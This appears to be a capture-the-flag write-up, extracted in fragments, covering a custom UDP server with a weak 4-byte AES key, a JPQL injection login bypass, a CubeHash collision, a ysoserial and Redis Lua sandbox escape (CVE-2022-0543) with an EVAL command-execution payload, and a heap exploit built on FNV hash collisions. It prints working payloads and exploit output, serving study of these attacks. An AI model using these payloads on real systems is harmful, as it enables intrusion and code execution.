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ddiag_server

┌───┬───┬───────┬───────┬───────┐

│	V	│	O	│		Len		│	SubOp	│	Magic	│

├───┴───┴───────┴───────┴───────┤

│														MD5														│

├───────────────────────────────┤

│											Data	...												│

├───────────────────────────────┤

│													...															│

└───────────────────────────────┘

	V=Version

	O=OpCode

	I	am	a	ghidr'addict!	I	know	what	you	think...	Nobody	is	perfect!

G

getKey	OpCode

backup

recvfrom()

void	parse_pkt(struct_pkt	*pkt,int	pkt_len,int	addr,void	*addr_len)

{

		...

				field	=	(uint)pkt->magic;

				if	(field	==	0x5848)	{

						field	=	(uint)pkt->len;

						if	(field	<	0x191)	{

								if	(0x17	<	field)	{

										if	(pkt->type	==	'\x01')	{

												strcpy(logmsg,"Packet	v1!");

												log(3,logmsg);

												parse_pkt_v1(pkt);

										}

										else	if	(pkt->type	==	'\x02')	{

												strcpy(logmsg,"Packet	v2!");

												log(3,logmsg);

												parse_pkt_v2(pkt);

										}

		...

}



void	parse_pkt_v2(struct_pkt	*pkt)

{

		...

		res	=	decrypt_pkt(pkt);

		if	(res	==	1)	{

				...

				res	=	check_md5(pkt);

				if	(res	!=	0)	{

						...

						switch	(pkt->opcode){

								case	0x17:

										//	getUptime

										...

										break

								case	0x18:

										//	echo

										...

										break

								case	0x16:

										//	getkey/setkey

										...

										res	=	get_set_key(pkt,	res_pkt);

										...

										break

								case	0x22:

										//	getmeminfo

										...

										break

								case	0x2b:

										//	getbackup

										...

										break

								case	0x21:

										//	getcpuinfo

										...

										break

								default:

										//	unknown

										...

										break

						}						

			...

}

int	get_set_key(struct_pkt	*pkt,char	*res_pkt)

{

		...

		if	(*(char	*)&pkt->subcode	==	'\x1e')	{

				if	(pkt->data[0]	==	'G')	{

						getkey(res_pkt);

				}

				if	(pkt->data[0]	==	'S')	{

						setkey(res_pkt,pkt);

				}

		}

		...

}



G

G echo G

getkey/setkey backup backup

bkp

int	main(int	argc,	char	**argv){

	...

			key	=	(uint	*)getenv("BACKUPAESKEY");

			if	(key	!=	(char	*)0x0)	{

					...

					setkey(key,&aeskey);

					encrypt(bkp_file,bkp_enc,&aeskey);

					...

			}

}

int	setkey(uint	*key,AES_KEY	*aes_key)

{

		uchar	*md;

		size_t	sVar1;

		uint	*data;

		MD5_CTX	md5_ctx;

		md	=	(uchar	*)malloc(0x10);

		key_len	=	strlen((char	*)key);

		print_key((char	*)key,key_len);

		putchar(10);

		data	=	(uint	*)malloc(4);																//	Only	allocating	4	bytes

		*data	=	*key;																												//	Cast	4	first	bytes	from	key	string	to	usigned	int

		MD5_Init(&md5_ctx);

		MD5_Update(&md5_ctx,data,4);													//	Process	MD5	with	only	4	bytes

		MD5_Final(md,&md5_ctx);

		AES_set_encrypt_key(md,0x80,aes_key);

		free(data);

		free(md);

		return	1;

}

this_is_secretiv

gz

$	python3	crack.py	backup.tgz.enc

[+]	Key	cracked:	ecd5

[.]	Uncipher	text	in	:	backup.tgz

[.]	Try	to	read	secret_flag

[+]	Secret:	#This	is	the	real	flag

HXN{8c7b6c7.........................................................}



UserRepositoryImpl.class

...

		public	Optional<User>	findUserByUsername(String	username)	{

				String	sql	=	String.format("SELECT	u	from	User	u	WHERE	(username='%s'	and	enabled=(1))",	new	Object[]	{	use

rname	});

				TypedQuery<User>	typedUser	=	this.entityManager.createQuery(sql,	User.class);

				return	typedUser.getResultList().stream().findFirst();

		}

...

UNION

a')	or	(username='admin'	and	password	like	'0%

0

CubeHash

CubeHash



public	CubeHash(int	i,	int	r,	int	b,	int	f,	int	h)	{

				...

				this.b	=	b;																																						//	Block	size	set	to	62

				...

				this.state	=	new	int[32];																								//	State	is	composed	of	32	entries	(a	"&	0xffff"	is	applie

d	in	round())

				...

		}

		public	CubeHash()	{

				this(160,	16,	62,	160,	256);

		}

		...

		private	void	xorState(byte[]	chunk)	{

				for	(int	i	=	0;	i	<	chunk.length;	i	+=	2)	{

						int	x	=	Byte.toUnsignedInt(chunk[i]);

						x	|=	Byte.toUnsignedInt(chunk[i	+	1])	<<	8;

						this.state[i	/	2]	=	this.state[i	/	2]	^	x;					//	62/2	=	31	=>	the	Xor	set	31	over	32	entries

				}	

		}

	Oh	come	on!	You	can	XOR	the	entire	state	with	an	update?

CubeHash

In	[1]:	from	cubehash	import	CubeHash

			...:	import	struct

In	[2]:	#	Create	a	signature

			...:	c	=	CubeHash()

			...:	c.update(b'a'*62+b'b'*62)

			...:	d1	=	c.digest()

In	[3]:	#	Get	last	state	of	this	first	signature

			...:	c	=	CubeHash()

			...:	c.update(b'a'*62)

			...:	c.xorState(b'b'*62)

			...:	s1	=	c.state

In	[4]:	#	Brute	force	last	state

			...:	for	i	in	range(0xffff):

			...:					c	=	CubeHash()

			...:					c.update(b'c'*60+struct.pack('<H',	i))

			...:					if	c.state[-1]	==	s1[-1]:

			...:							print("last	state	entry	is	equal")

			...:							break

			...:	

last	state	entry	is	equal

In	[5]:	#	Set	collision

			...:	c2	=	CubeHash()

			...:	payload	=	b'c'*60+struct.pack('<H',	i)

			...:	toxor	=	[]

			...:	for	j	in	[x^y	for	x,y	in	zip(c.state[:-1],	s1[:-1])]:

			...:			toxor.append(j	&	0xff)

			...:			toxor.append(j	>>	8)

			...:	payload	+=	bytes(toxor)

			...:	c2.update(payload)

			...:	d2	=	c2.digest()

In	[6]:	#	Check	collision

			...:	d1	==	d2

Out[6]:	True



┌────────┬────────┬────────┬────────┬────────┐

│	data1		│		...			│	dataX		│	brute		│		xor			│

└────────┴────────┴────────┴────────┴────────┘

commons-collections4:4.0 ysoserial

apparmor ysoserial

ysoserial

diff	--git	a/src/main/java/ysoserial/payloads/util/Gadgets.java	b/src/main/java/ysoserial/payloads/util/Gadgets

.java

index	d4cd783..b2983d5	100644

---	a/src/main/java/ysoserial/payloads/util/Gadgets.java

+++	b/src/main/java/ysoserial/payloads/util/Gadgets.java

@@	-114,9	+114,10	@@	public	class	Gadgets	{

									final	CtClass	clazz	=	pool.get(StubTransletPayload.class.getName());

									//	run	command	in	static	initializer

									//	TODO:	could	also	do	fun	things	like	injecting	a	pure-java	rev/bind-shell	to	bypass	naive	protection

s

-								String	cmd	=	"java.lang.Runtime.getRuntime().exec(\""	+

-												command.replace("\\",	"\\\\").replace("\"",	"\\\"")	+

-												"\");";

+								String	cmd	=	command;

									clazz.makeClassInitializer().insertAfter(cmd);

									//	sortarandom	name	to	allow	repeated	exploitation	(watch	out	for	PermGen	exhaustion)

									clazz.setName("ysoserial.Pwner"	+	System.nanoTime());

redis Dockerfile redis

redis-server=5:5.0.7-2 ubuntu

AUTH	redis_password_changed_on_remote

EVAL	'local	io_l	=	package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",	"luaopen_io");	local	io	=	io_l()

;	local	f	=	io.popen("id",	"r");	local	res	=	f:read("*a");	f:close();	return	res'	0

getflag tty -889275714

faketty	()	{	script	-qc	\"getflag\"	;	}	;	echo	-889275714	|	faketty

Java.net.socket ysoserial

	☠@/$#%カ	!?	Feeling	of	failure!

https://ubuntu.com/security/CVE-2022-0543


$	python3	exploit_auth.py	

[+]	Hash	found:	4cb9c8a8048fd02294477fcb1a41191a

$	python3	exploit_rce.py	changeme

[.]	Collecting	signatures

[.]	Got	252	signatures

[.]	Bruteforce	last	state

[+]	Found	valid	state	for	sig	nb	232

{

		'data':	'H4sIAAAAAAAAAI2SvUscQRjG39usF2M+1AvBSoJwpIgwq6RIYRM9L9zB+pUTC1MNu3PHnHszm3dnvY9CSJs6FhYRxNZCFEHQ3oCd

/0DyD6RKE1L5jiZyWO0Uw/DOPL/3mWfm4BcMJAjvAt1iUnV1inUeiIRtStEWyAKtDOooEpiwBU3F0l2hWNNoljnyljACj93Rl99PJisOOB/BbaZ

qw9Bqzod8QsfmugZe+RobXhKjVI26VbU1bnghN9wLdYtL5VngTCdO0SoPfo/9yQ+u/nQAOjEAjLxtDl8ebvdWHn4J/B97T0/JdZGI7B6RWSK7JT

JLXNr9ev7+4u+EAzlyozGkuxgY8Zt8k3upkZHny8T2JeBzW2S2yGYRedfudD5fje9c8G8PIFcFN5E9ceMn13btTKLXWVwUl2zjFxOPj/Y/1M8cc

NdhSDaURlHiifDhUShRBEZSvDCVKani/H/FjA9PVBpFFa7CiDQG3mQjLPaJCDIYo44FGnqswm08EVcNr2YshgKCLQSW6bJ31uDfKNArIjy7iddC

WVmlrf7N2IA7X66VqMV0phb93vtBn2ALRg3kF2dXq2tl+oQy7FwDAP4Q6eUCAAA=',	

		'sig':	'a4693c171c9bbdab723f03384b9889618e11a1dac2deea1340775d907ae9d0d8a62c49c125549c9d63fa53988a23b2c04ccb8

3a09cedf13421ccf3fae1dcd401'

}

[.]	Generate	payload

[.]	Payload	assertion	is	ok	for	sig:	a4693c171c9bbdab723f03384b9889618e11a1dac2deea1340775d907ae9d0d8a62c49c125

549c9d63fa53988a23b2c04ccb83a09cedf13421ccf3fae1dcd401

[.]	Attempting	code	execution

[+]	RCE	Succeed

$	python3	extract_flag.py	changeme

[.]	Attempting	to	find	char	0

[+]	Success:	H

[.]	Current	result:	H

[.]	Attempting	to	find	char	1

[+]	Success:	X

[.]	Current	result:	HX

[.]	Attempting	to	find	char	2

[+]	Success:	N

[.]	Current	result:	HXN

[.]	Attempting	to	find	char	3

[+]	Success:	{

[.]	Current	result:	HXN{

...

[+]	Flag:	HXN{...}



kvservice.exe secstore.sys

Dockerfile

cosmosdb-emulator

capnp Cap\'n

Protocol pycapnp

python

Reader bounded Reader

get set del KeyStoreValueImpl

verbose

requestedTypeID KeyValueStore::Server

dispatchCall()

@0x85c6a9902aa4d2aa;

interface	KeyValueStore	@0xa04a94c9b0ff2a20	{

			get	@0	(kv:	KV	)	->	(value:	V);

			set	@1	(kv:	KV	);

			del	@2	(kv:	KV);

			struct	KV	{

					key	@0	:Key;

					value	@1	:Value;

			}

			struct	V	{

					value	@0	:Value;

			}

			struct	Key	{

					data	@0	:Data;

					pin	@1	:UInt32;

					sec	@2	:Kernel;

					enum	Kernel	{

								none	@0;

								pin	@1;

								kernel	@2;

								max	@3;

					}

			}

			struct	Value	{

					union	{

							int	@0	:Int32;

							uint	@1	:UInt32;

							int64	@2	:Int64;

							uint64	@3	:UInt64;

							text	@4	:Text;

							data	@5	:Data;

				}

			}

}



sec Key kernel max

SecStore SecStore

GenericTableAvl

keyhash()

uint	keyhash(basic_string<>	key)

{

		char	*ptr;

		basic_string<>	*str;

		uint	res;

		usize	i,	sz;

		res	=	0x811c9dc5;

		ptr	=	std::basic_string<>::c_str(key);

		i	=	0;

		while(	true	)	{

				sz	=	std::basic_string<>::size(ptr);

				if	(sz	<=	i)	break;

				res	=	(res	^	(int)ptr[i])	*	0x1000193;

				i	=	i	+	1;

		}

		std::basic_string<>::~basic_string<>(ptr);

		return	res;

}

fnv("$7d'")	==	fnv("8	@	")	==	314085901

$7d' 8	@	

set

$7d' 8	@

sqlpal.dll

RtlInitializeGenericTableAv RtlInsertElementGenericTableAvl

RtlLookupElementGenericTableAvl Element

TableEntry

struct	TableEntry	{

		void	*poolEntry;

		void	*parent;

		TableEntry	*left;

		TableEntry	*right;

		ulong	flag;

}

https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function#Non-cryptographic_hash


0x140005280

struct	Table	{

		void	*this;

		...

		TableEntry	*root;

		...

		usize	size;

		...

		Compare	*compare;

		Allocate	*alloc;

		Free	*free;

		...

}

0x0

fvn("68m*	")	==	fvn("+!=yG")	==	fvn("eSN.1")	==	0x0

left 0

	Sooo	much	null	memory	everywhere!?	A	waste	of	memory	eh?

RWX compare()

compare()

RWX

compare()

compare() get()

get()

$	python3	exploit.py	

[.]	Heap	sanitization	for	alignment

[.]	Making	collsisions	OOB	Read	and	OOB	Write

[.]	Cleaning	objects	to	only	kept	necessary

[.]	Trigger	leak

[+]	root	entry	found:	table_addr	=	0x3fff822964e0

[.]	heap	chunk	address	:	0x3fff82436a08

[.]	Point	left	to	table	(with	0	hash)

[+]	function	pointer	compare_addr	=	0x3802d5280

[.]	rwx_addr	=	0x3802d6800

[.]	Insert	shellcode

[.]	Redirect	exec	to	rwx

[.]	Flag:	HXN{59fc454...............................}



	That	was	a	lot	of	fun!	I	learned	so	much	during	this	challenge.	Thank	you.


